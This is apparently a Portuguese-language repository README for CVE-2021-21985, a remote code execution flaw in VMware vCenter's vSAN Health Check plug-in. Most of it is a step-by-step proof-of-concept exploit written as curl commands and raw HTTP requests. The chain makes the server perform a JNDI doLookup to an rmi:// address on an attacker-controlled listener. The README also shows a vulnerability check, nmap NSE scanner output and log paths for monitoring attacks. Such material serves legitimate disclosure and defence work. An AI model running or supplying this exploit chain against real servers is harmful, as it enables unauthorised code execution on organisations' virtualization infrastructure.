CVE-2021-21985 (Código Vulnerável)

06_test_class_method

CLASSE/MÉTODO(S) disponíveis, um pequeno exemplo para fins de PoC: com.vmware.vsan.client.services.capability.VsanCapabilityProvider

[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]

CVE-2021-21985 (PoC)

O vSphere Client (HTML5) contém uma vulnerabilidade de execução remota de código devido à falta de validação de entrada no plug-in Virtual SAN Health Check, que é habilitado por padrão no vCenter Server.

Esta inspeção manual verifica a existência do CVE-2021-21985 com base nas CLASSE/MÉTODO(S) disponíveis por padrão no vCenter, por exemplo, "/ui/h5-vsan/rest/*", enviando uma solicitação POST e procurando dados JSON no corpo da resposta (200).

Inspeção manual:

# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

03_curl

PoC Exploit Lançado (1)

Créditos: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

Passos para reproduzir:

Inicie seu servidor python para receber a conexão do sistema alvo (vCenter), por exemplo:

# python3 -m http.server 9090

Passo 1: defina TargetObject como null

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

Passo 2: defina setStaticMethod como payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

Passo 3: defina setTargetMethod como doLookup

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

Passo 4: defina setArguments com os argumentos do payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

Passo 5: classe e métodos iniciais do payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

Passo 6: acione a invocação do método; após este POST, aguarde alguns segundos e veja o log do seu servidor python

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

exploit_01

Referências:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

CVE-2021-21985 (verificador NSE)

Este script verifica a existência do CVE-2021-21985 com base nas CLASSE/MÉTODO(S) disponíveis por padrão no vCenter, por exemplo, "/ui/h5-vsan/rest/*", enviando uma solicitação POST e procurando dados JSON no corpo da resposta (200).

Uso

# nmap -p443 --script CVE-2021-21985.nse <target>

Saída

---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT    STATE SERVICE
-- 443/tcp open  https
-- | CVE-2021-21985: 
-- |   VULNERABLE:
-- |   vCenter 6.5-7.0 RCE
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2021-21985
-- |       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input 
-- |       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- |     Disclosure date: 2021-05-28
-- |     References:
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985

CVE-2021-21985

vCenter vSAN Health (logs do console)

Caminho dos logs do vCenter

# /var/log/vmware/vsan-health/

03_vSAN-health

vSphere Client (logs do console)

Monitorando os ataques

# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

04_monitoring

Autor

Alex Hernandez, também conhecido como (@_alt3kx_)

CVE-2021-21985_PoC

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